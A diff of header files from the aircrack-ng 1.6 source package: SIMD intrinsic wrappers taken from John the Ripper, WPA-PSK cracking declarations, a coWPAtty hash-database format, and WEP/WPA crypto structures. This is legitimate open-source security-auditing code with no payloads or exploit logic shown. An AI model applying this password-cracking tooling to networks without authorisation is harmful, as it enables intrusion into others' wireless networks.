+		vtype indices = vset_epi64(3 * stride, 2 * stride, 1 * stride, 0);     \
+		x = vgather_epi64(&y[0][z], indices, 1);                               \
+	}
+
+/************************* SSE2/3/4/AVX/XOP ***************************/
+#elif __SSE2__
+
+#if __XOP__
+#include <x86intrin.h>
+#elif __AVX__
+#include <immintrin.h>
+#elif __SSE4_1__
+#include <smmintrin.h>
+#elif __SSSE3__
+#include <tmmintrin.h>
+#endif
+
+#include <emmintrin.h>
+
+typedef __m128i vtype;
+
+#define vadd_epi32 _mm_add_epi32
+#define vadd_epi64 _mm_add_epi64
+#define vand _mm_and_si128
+#define vandnot _mm_andnot_si128
+#if __XOP__
+#define vcmov _mm_cmov_si128
+#else
+#define vcmov vcmov_emu
+#define VCMOV_EMULATED 1
+#endif
+#define vcmpeq_epi8_mask(a, b) _mm_movemask_epi8(_mm_cmpeq_epi8(a, b))
+#define vcmpeq_epi32 _mm_cmpeq_epi32
+#if __SSE4_1__
+#define vcvtsi32 _mm_cvtsi32_si128
+#endif
+#define vinsert_epi32 _mm_insert_epi32
+#define vload(x) _mm_load_si128((const vtype *) (x))
+#define vloadu(x) _mm_loadu_si128((const vtype *) (x))
+#define vmovemask_epi8 _mm_movemask_epi8
+#define vor _mm_or_si128
+#define vpermute4x64_epi64 _mm_permute4x64_epi64
+#define vpermute2x128 _mm_permute2x128_si128
+#if __XOP__
+#define vroti_epi32 _mm_roti_epi32
+#define vroti16_epi32 _mm_roti_epi32
+#define vroti_epi64 _mm_roti_epi64
+#else
+#define vroti_epi32 vroti_epi32_emu
+#define vroti_epi64 vroti_epi64_emu
+/* Specialized ROTL16 for SSE4.1 and lower (eg. MD5) */
+#if __SSSE3__
+#define vroti16_epi32(a, s)                                                    \
+	vshuffle_epi8((a),                                                         \
+				  vset_epi32(0x0d0c0f0e, 0x09080b0a, 0x05040706, 0x01000302))
+#elif __SSE2__
+#define vroti16_epi32(a, s) vshufflelo_epi16(vshufflehi_epi16((a), 0xb1), 0xb1)
+#else
+#define vroti16_epi32 vroti_epi32
+#endif /* __SSSE3__ */
+#endif /* __XOP__ */
+#define vset_epi32 _mm_set_epi32
+#define vset1_epi8 _mm_set1_epi8
+#define vset1_epi32 _mm_set1_epi32
+#ifndef _MSC_VER
+#define vset1_epi64 _mm_set1_epi64x
+#define vset_epi64 _mm_set_epi64x
+#else
+#define vset1_epi64 _mm_set1_epi64
+#define vset_epi64 _mm_set_epi64
+#endif
+#define vsetzero _mm_setzero_si128
+#if __SSSE3__
+#define vshuffle_epi8 _mm_shuffle_epi8
+#endif
+#define vshuffle_epi32 _mm_shuffle_epi32
+#define vshufflehi_epi16 _mm_shufflehi_epi16
+#define vshufflelo_epi16 _mm_shufflelo_epi16
+#define vslli_epi16 _mm_slli_epi16
+#define vslli_epi32 _mm_slli_epi32
+#define vslli_epi64 _mm_slli_epi64
+#define vsrli_epi16 _mm_srli_epi16
+#define vsrli_epi32 _mm_srli_epi32
+#define vsrli_epi64 _mm_srli_epi64
+#define vstore(x, y) _mm_store_si128((vtype *) (x), y)
+#define vstoreu(x, y) _mm_storeu_si128((vtype *) (x), y)
+#define vunpackhi_epi32 _mm_unpackhi_epi32
+#define vunpackhi_epi64 _mm_unpackhi_epi64
+#define vunpacklo_epi32 _mm_unpacklo_epi32
+#define vunpacklo_epi64 _mm_unpacklo_epi64
+#define vxor _mm_xor_si128
+
+#define vanyeq_epi32(x, y) vmovemask_epi8(vcmpeq_epi32(x, y))
+
+#if __SSSE3__
+
+#define swap_endian_mask                                                       \
+	vset_epi32(0x0c0d0e0f, 0x08090a0b, 0x04050607, 0x00010203)
+#define vswap32(n) (n = vshuffle_epi8(n, swap_endian_mask))
+
+#define swap_endian64_mask                                                     \
+	vset_epi64(0x08090a0b0c0d0e0fULL, 0x0001020304050607ULL)
+#define vswap64(n) (n = vshuffle_epi8(n, swap_endian64_mask))
+
+#else /* Just basic SSE2 */
+
+#define vswap32(n)                                                             \
+	(n = vxor(vsrli_epi16(vroti16_epi32(n, 16), 8),                            \
+			  vslli_epi16(vroti16_epi32(n, 16), 8)))
+
+#define vswap64(n)                                                             \
+	(n = vshufflehi_epi16(vshufflelo_epi16(n, 0xb1), 0xb1),                    \
+	 n = vxor(vslli_epi16(n, 8), vsrli_epi16(n, 8)),                           \
+	 n = vshuffle_epi32(n, 0xb1))
+
+#endif /* __SSSE3__ */
+
+#if __SSE4_1__
+#define GATHER_4x(x, y, z)                                                     \
+	{                                                                          \
+		x = vcvtsi32(y[z]);                                                    \
+		x = vinsert_epi32(x, y[z + (1 << 6)], 1);                              \
+		x = vinsert_epi32(x, y[z + (2 << 6)], 2);                              \
+		x = vinsert_epi32(x, y[z + (3 << 6)], 3);                              \
+	}
+#define GATHER_2x(x, y, z)                                                     \
+	{                                                                          \
+		x = vcvtsi32(y[z]);                                                    \
+		x = vinsert_epi32(x, y[z + (1 << 5)], 1);                              \
+		x = vinsert_epi32(x, y[z + (2 << 5)], 2);                              \
+		x = vinsert_epi32(x, y[z + (3 << 5)], 3);                              \
+	}
+#define GATHER(x, y, z)                                                        \
+	{                                                                          \
+		x = vcvtsi32(y[z]);                                                    \
+		x = vinsert_epi32(x, y[z + (1 << 4)], 1);                              \
+		x = vinsert_epi32(x, y[z + (2 << 4)], 2);                              \
+		x = vinsert_epi32(x, y[z + (3 << 4)], 3);                              \
+	}
+#endif /* __SSE4_1__ */
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		x = vset_epi64(y[1][z], y[0][z]);                                      \
+	}
+
+#if _MSC_VER && !_M_X64
+/*
+ * These are slow, but the F'n 32 bit compiler will not build these intrinsics.
+ * Only the 64-bit (Win64) MSVC compiler has these as intrinsics. These slow
+ * ones let me debug, and develop this code, and work, but use CPU
+ */
+#define _mm_set_epi64 __mm_set_epi64
+#define _mm_set1_epi64 __mm_set1_epi64
+_inline __m128i _mm_set_epi64(long long a, long long b)
+{
+	__m128i x;
+
+	x.m128i_i64[0] = b;
+	x.m128i_i64[1] = a;
+	return x;
+}
+_inline __m128i _mm_set1_epi64(long long a)
+{
+	__m128i x;
+
+	x.m128i_i64[0] = x.m128i_i64[1] = a;
+	return x;
+}
+#define vset1_epi64x(x) vset_epi64x(x, x)
+#define vset_epi64x(x1, x0)                                                    \
+	(vtype)(vtype64) { x0, x1 }
+#endif
+
+#endif /* __SIMD__ elif __SIMD__ elif __SIMD__ */
+
+/************************* COMMON STUFF BELOW *************************/
+
+#ifdef _MSC_VER
+#define MEM_ALIGN_SIMD 16
+#define INLINE _inline
+#else
+#define MEM_ALIGN_SIMD (SIMD_COEF_32 * 4)
+#define INLINE inline
+#endif
+
+#if VLOADU_EMULATED
+static INLINE vtype vloadu_emu(const void * addr)
+{
+	if (is_aligned(addr, MEM_ALIGN_SIMD))
+		return vload(addr);
+	else
+	{
+		JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)];
+
+		return vload(memcpy(buf, addr, sizeof(vtype)));
+	}
+}
+#endif
+
+#if VSTOREU_EMULATED
+static INLINE void vstoreu_emu(void * addr, vtype v)
+{
+	if (is_aligned(addr, MEM_ALIGN_SIMD))
+		vstore(addr, v);
+	else
+	{
+		JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)];
+
+		vstore(buf, v);
+		memcpy(addr, buf, sizeof(vtype));
+	}
+}
+#endif
+
+#define vswap32_emu(x)                                                         \
+	(x = vxor(vsrli_epi32(x, 24),                                              \
+			  vxor(vslli_epi32(vsrli_epi32(vslli_epi32(x, 8), 24), 8),         \
+				   vxor(vsrli_epi32(vslli_epi32(vsrli_epi32(x, 8), 24), 8),    \
+						vslli_epi32(x, 24)))))
+#define vswap64_emu(x)                                                         \
+	(x = vxor(vsrli_epi64(x, 32), vslli_epi64(x, 32)), vswap32_emu(x))
+
+#if VCMOV_EMULATED
+#if VANDNOT_EMULATED /* currently never */
+#define vcmov_emu(x, y, z) vxor(y, vand(z, vxor(x, y)))
+#else
+#define vcmov_emu(x, y, z) vxor(vand(z, x), vandnot(z, y))
+#endif
+#endif
+
+#if __SSE3__ || __MIC__
+#define vslli_epi64a(a, s) vslli_epi64(a, s)
+
+#else
+/* Optimization for really old CPUs for << 1 (for vroti -1) (eg. SHA512) */
+#define vslli_epi64a(a, s)                                                     \
+	((s) == 1 ? vadd_epi64((a), (a)) : vslli_epi64((a), (s)))
+
+#endif /* __SSE3__ || __MIC__ */
+
+/*
+ * vroti must handle both ROTL and ROTR. If s < 0, then ROTR. Note that
+ * the ternary will normally be optimized away!
+ */
+#define vroti_epi32_emu(a, s)                                                  \
+	((s) < 0 ? vxor(vsrli_epi32((a), ~(s) + 1), vslli_epi32((a), 32 + (s)))    \
+			 : vxor(vslli_epi32((a), (s)), vsrli_epi32((a), 32 - (s))))
+
+#define vroti_epi64_emu(a, s)                                                  \
+	((s) < 0 ? vxor(vsrli_epi64((a), ~(s) + 1), vslli_epi64a((a), 64 + (s)))   \
+			 : vxor(vslli_epi64a((a), (s)), vsrli_epi64((a), 64 - (s))))
+
+#endif /* SIMD_COEF_32 */
+
+#endif /* _SSE_PSEUDO_H */

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/simd-intrinsics-load-flags.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/simd-intrinsics.h Added

@@ -0,0 +1,200 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software is Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>,
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * Some modifications, Jim Fougeron, 2013.  Licensing rights listed in
+ * accompanying simd-intrinsics.c file.
+ */
+
+#if !defined(__JTR_SSE_INTRINSICS_H__)
+#define __JTR_SSE_INTRINSICS_H__
+
+#if (SIMD_COEF_32 && SIMD_COEF_32 == 2) || !SIMD_COEF_32
+#undef SIMD_TYPE
+#define SIMD_TYPE ""
+#undef SIMD_COEF_32
+#endif
+
+#include <aircrack-ng/ce-wpa/jcommon.h>
+#include <aircrack-ng/ce-wpa/pseudo_intrinsics.h>
+#include <aircrack-ng/ce-wpa/simd-intrinsics-load-flags.h>
+#include <aircrack-ng/ce-wpa/aligned.h>
+
+#ifndef _EMMINTRIN_H_INCLUDED
+#define __m128i void
+#endif
+#define vtype void
+
+#define STRINGIZE2(s) #s
+#define STRINGIZE(s) STRINGIZE2(s)
+
+#if __ALTIVEC__
+#undef SIMD_TYPE
+#define SIMD_TYPE "AltiVec"
+#elif __ARM_NEON__
+#undef SIMD_TYPE
+#define SIMD_TYPE "NEON"
+#elif __MIC__
+#undef SIMD_TYPE
+#define SIMD_TYPE "MIC"
+#elif __AVX512F__
+#undef SIMD_TYPE
+#define SIMD_TYPE "AVX512F"
+#elif __AVX2__
+#undef SIMD_TYPE
+#define SIMD_TYPE "AVX2"
+#elif __XOP__
+#undef SIMD_TYPE
+#define SIMD_TYPE "XOP"
+#elif __AVX__
+#undef SIMD_TYPE
+#define SIMD_TYPE "AVX"
+#elif __SSE4_1__
+#undef SIMD_TYPE
+#define SIMD_TYPE "SSE4.1"
+#elif __SSSE3__
+#undef SIMD_TYPE
+#define SIMD_TYPE "SSSE3"
+#elif __SSE2__
+#undef SIMD_TYPE
+#define SIMD_TYPE "SSE2"
+#elif SIMD_COEF_32
+#undef SIMD_TYPE
+#define SIMD_TYPE "MMX" // not really supported
+#endif
+
+#if SIMD_COEF_32 == 16
+#define BITS "512/512"
+#elif SIMD_COEF_32 == 8
+#define BITS "256/256"
+#elif SIMD_COEF_32 == 4
+#define BITS "128/128"
+#elif SIMD_COEF_32 == 2
+#define BITS "64/64"
+#endif
+
+#ifdef SIMD_PARA_MD5
+void md5cryptsse(unsigned char * buf,
+				 unsigned char * salt,
+				 char * out,
+				 unsigned int md5_type);
+void SIMDmd5body(vtype * data,
+				 ARCH_WORD_32 * out,
+				 ARCH_WORD_32 * reload_state,
+				 unsigned SSEi_flags);
+void md5_reverse(uint32_t * hash);
+void md5_unreverse(uint32_t * hash);
+#define MD5_ALGORITHM_NAME BITS " " SIMD_TYPE " " MD5_N_STR
+#else
+#define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR
+#endif
+
+#ifdef SIMD_PARA_MD4
+// void SIMDmd4body(__m128i* data, unsigned int *out, int init);
+void SIMDmd4body(vtype * data,
+				 ARCH_WORD_32 * out,
+				 ARCH_WORD_32 * reload_state,
+				 unsigned SSEi_flags);
+void md4_reverse(uint32_t * hash);
+void md4_unreverse(uint32_t * hash);
+#define MD4_ALGORITHM_NAME BITS " " SIMD_TYPE " " MD4_N_STR
+#else
+#define MD4_ALGORITHM_NAME "32/" ARCH_BITS_STR
+#endif
+
+#ifdef SIMD_PARA_SHA1
+void SIMDSHA1body(vtype * data,
+				  ARCH_WORD_32 * out,
+				  ARCH_WORD_32 * reload_state,
+				  unsigned SSEi_flags);
+void sha1_reverse(uint32_t * hash);
+void sha1_unreverse(uint32_t * hash);
+#define SHA1_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA1_N_STR
+#else
+#define SHA1_ALGORITHM_NAME "32/" ARCH_BITS_STR
+#endif
+
+// we use the 'outter' SIMD_COEF_32 wrapper, as the flag for SHA256/SHA512.
+// FIX_ME!!
+#if SIMD_COEF_32 > 1
+
+#ifdef SIMD_COEF_32
+#define SHA256_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA256_N_STR
+void SIMDSHA256body(vtype * data,
+					ARCH_WORD_32 * out,
+					ARCH_WORD_32 * reload_state,
+					unsigned SSEi_flags);
+void sha224_reverse(uint32_t * hash);
+void sha224_unreverse(uint32_t * hash);
+void sha256_reverse(uint32_t * hash);
+void sha256_unreverse(void);
+#endif
+
+#ifdef SIMD_COEF_64
+#define SHA512_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA512_N_STR
+void SIMDSHA512body(vtype * data,
+					ARCH_WORD_64 * out,
+					ARCH_WORD_64 * reload_state,
+					unsigned SSEi_flags);
+void sha384_reverse(ARCH_WORD_64 * hash);
+void sha384_unreverse(ARCH_WORD_64 * hash);
+void sha512_reverse(ARCH_WORD_64 * hash);
+void sha512_unreverse(void);
+#endif
+
+#else
+#if ARCH_BITS >= 64
+#define SHA256_ALGORITHM_NAME "64/" ARCH_BITS_STR " " SHA2_LIB
+#define SHA512_ALGORITHM_NAME "64/" ARCH_BITS_STR " " SHA2_LIB
+#else
+#define SHA256_ALGORITHM_NAME "32/" ARCH_BITS_STR " " SHA2_LIB
+#define SHA512_ALGORITHM_NAME "32/" ARCH_BITS_STR " " SHA2_LIB
+#endif
+
+#endif
+
+#undef vtype /* void */
+
+#endif // __JTR_SSE_INTRINSICS_H__

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/wpapsk.h Added

@@ -0,0 +1,81 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software is Copyright (c) 2012 Lukas Odzioba <lukas dot odzioba at gmail
+ * dot com>
+ * and Copyright (c) 2012-2014 magnum
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * hccap format was introduced by oclHashcat-plus, and it is described here:
+ * http://hashcat.net/wiki/hccap
+ * Code is based on  Aircrack-ng source
+ */
+#ifndef _WPAPSK_H
+#define _WPAPSK_H
+
+#include <assert.h>
+#include <string.h>
+#include <stdint.h>
+
+#include <aircrack-ng/crypto/crypto.h>
+#include <aircrack-ng/ce-wpa/arch.h>
+#include <aircrack-ng/ce-wpa/jcommon.h>
+#include <aircrack-ng/ce-wpa/johnswap.h>
+#include <aircrack-ng/ce-wpa/crypto_engine.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+void init_atoi(void);
+
+int init_wpapsk(ac_crypto_engine_t * engine,
+				const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+				int nparallel,
+				int threadid);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* _WPAPSK_H */

aircrack-ng-1.6.tar.gz/include/aircrack-ng/cowpatty Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/cowpatty/cowpatty.h Added

@@ -0,0 +1,70 @@
+/*
+ *  coWPAtty hash DB file format structures and helper functions
+ *
+ *  Copyright (C) 2018-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _COWPATTY_H_
+#define _COWPATTY_H_
+
+#include <stdint.h>
+
+#define MAX_PASSPHRASE_LENGTH 63
+
+#define GENPMKMAGIC 0x43575041
+struct hashdb_head
+{
+	uint32_t magic;
+	uint8_t reserved1[3];
+	uint8_t ssidlen;
+	uint8_t ssid[32];
+};
+
+struct hashdb_rec
+{
+	uint8_t rec_size;
+	char * word;
+	uint8_t pmk[32];
+} __attribute__((packed));
+
+struct cowpatty_file
+{
+	char ssid[33];
+	FILE * fp;
+	char error[256 - sizeof(FILE *) - 33];
+};
+
+void close_free_cowpatty_hashdb(struct cowpatty_file * cf);
+struct cowpatty_file * open_cowpatty_hashdb(const char * filename,
+											const char * mode);
+struct hashdb_rec * read_next_cowpatty_record(struct cowpatty_file * cf);
+
+#endif // _COWPATTY_H_

aircrack-ng-1.6.tar.gz/include/aircrack-ng/cpu Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/cpu/cpuset.h Added

@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_UTIL_CPUSET_H
+#define AIRCRACK_UTIL_CPUSET_H
+
+#include <sys/types.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+struct ac_cpuset;
+typedef struct ac_cpuset ac_cpuset_t;
+
+/// Allocate a new cpuset module handle.
+ac_cpuset_t * ac_cpuset_new(void);
+
+/// Deallocate a cpuset module handle.
+void ac_cpuset_free(ac_cpuset_t * cpuset);
+
+/// Initialize the cpuset module handle.
+void ac_cpuset_init(ac_cpuset_t * cpuset);
+
+/// Destroy the cpuset module handle.
+void ac_cpuset_destroy(ac_cpuset_t * cpuset);
+
+/// Distribute \a count threads over all available CPUs.
+void ac_cpuset_distribute(ac_cpuset_t * cpuset, size_t count);
+
+/// Bind \a tid to the CPU stored at the \a idx index position.
+void ac_cpuset_bind_thread_at(ac_cpuset_t * cpuset, pthread_t tid, size_t idx);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/cpu/simd_cpuid.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/cpu/trampoline.h Added

@@ -0,0 +1,45 @@
+/*
+ *  Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifndef AIRCRACK_NG_TRAMPOLINE_H
+#define AIRCRACK_NG_TRAMPOLINE_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define SIMD_SUPPORTS_NONE (1 << 0)
+#define SIMD_SUPPORTS_MMX (1 << 1)
+#define SIMD_SUPPORTS_SSE2 (1 << 2)
+#define SIMD_SUPPORTS_AVX (1 << 3)
+#define SIMD_SUPPORTS_AVX2 (1 << 4)
+#define SIMD_SUPPORTS_NEON (1 << 5)
+#define SIMD_SUPPORTS_ASIMD (1 << 6)
+#define SIMD_SUPPORTS_ALTIVEC (1 << 7)
+#define SIMD_SUPPORTS_POWER8 (1 << 8)
+#define SIMD_SUPPORTS_AVX512F (1 << 9)
+
+void simd_init(void);
+int simd_get_supported_features(void);
+void simd_destroy(void);
+
+#ifdef __cplusplus
+};
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/crypto Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/crypto/crctable.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/crypto/crypto.h Added

@@ -0,0 +1,214 @@
+/*
+ *  MD5, SHA-1, RC4 and AES implementations
+ *
+ *  Copyright (C) 2001-2004  Christophe Devine
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+
+ */
+
+#ifndef _CRYPTO_H
+#define _CRYPTO_H
+
+#include <limits.h>
+#include <errno.h>
+
+#ifdef USE_GCRYPT
+#include <aircrack-ng/crypto/gcrypt-openssl-wrapper.h>
+#include <aircrack-ng/crypto/sha1-git.h>
+#else
+#include <openssl/hmac.h>
+#include <openssl/sha.h>
+#include <openssl/rc4.h>
+#include <openssl/md5.h>
+#include <openssl/aes.h>
+#if HAVE_OPENSSL_CMAC_H
+#include <openssl/cmac.h>
+#endif
+#endif
+
+#include <aircrack-ng/defs.h>
+
+#define CRYPT_NONE 0
+#define CRYPT_WEP 1
+#define CRYPT_WPA 2
+
+#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
+#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
+#define S_LLC_SNAP_WLCCP "\xAA\xAA\x03\x00\x40\x96\x00\x00"
+#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
+#define S_LLC_SNAP_SPANTREE "\x42\x42\x03\x00\x00\x00\x00\x00"
+#define S_LLC_SNAP_CDP "\xAA\xAA\x03\x00\x00\x0C\x20"
+#define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */
+
+#define TYPE_ARP 0
+#define TYPE_IP 1
+
+#define NULL_MAC (unsigned char *) "\x00\x00\x00\x00\x00\x00"
+#define BROADCAST (unsigned char *) "\xFF\xFF\xFF\xFF\xFF\xFF"
+#define SPANTREE (unsigned char *) "\x01\x80\xC2\x00\x00\x00"
+#define CDP_VTP (unsigned char *) "\x01\x00\x0C\xCC\xCC\xCC"
+
+#define IEEE80211_FC0_SUBTYPE_MASK 0xf0
+#define IEEE80211_FC0_SUBTYPE_SHIFT 4
+
+/* for TYPE_DATA (bit combination) */
+#define IEEE80211_FC0_SUBTYPE_QOS 0x80
+#define IEEE80211_FC0_SUBTYPE_QOS_NULL 0xc0
+
+#define GET_SUBTYPE(fc)                                                        \
+	(((fc) &IEEE80211_FC0_SUBTYPE_MASK) >> IEEE80211_FC0_SUBTYPE_SHIFT)        \
+		<< IEEE80211_FC0_SUBTYPE_SHIFT
+
+#define ROL32(A, n) (((A) << (n)) | (((A) >> (32 - (n))) & ((1UL << (n)) - 1)))
+#define ROR32(A, n) ROL32((A), 32 - (n))
+
+struct WPA_ST_info
+{
+	struct WPA_ST_info * next; /* next supplicant              */
+	unsigned char stmac[6]; /* supplicant MAC               */
+	unsigned char bssid[6]; /* authenticator MAC            */
+	unsigned char snonce[32]; /* supplicant nonce             */
+	unsigned char anonce[32]; /* authenticator nonce          */
+	unsigned char keymic[20]; /* eapol frame MIC              */
+	unsigned char eapol[256]; /* eapol frame contents         */
+	unsigned char ptk[80]; /* pairwise transcient key      */
+	unsigned eapol_size; /* eapol frame size             */
+	unsigned long t_crc; /* last ToDS   frame CRC        */
+	unsigned long f_crc; /* last FromDS frame CRC        */
+	int keyver, valid_ptk;
+	unsigned char pn[6]; /* Packet Number (WPA-CCMP) */
+};
+
+struct Michael
+{
+	unsigned long key0;
+	unsigned long key1;
+	unsigned long left;
+	unsigned long right;
+	unsigned long nBytesInM;
+	unsigned long message;
+	unsigned char mic[8];
+};
+
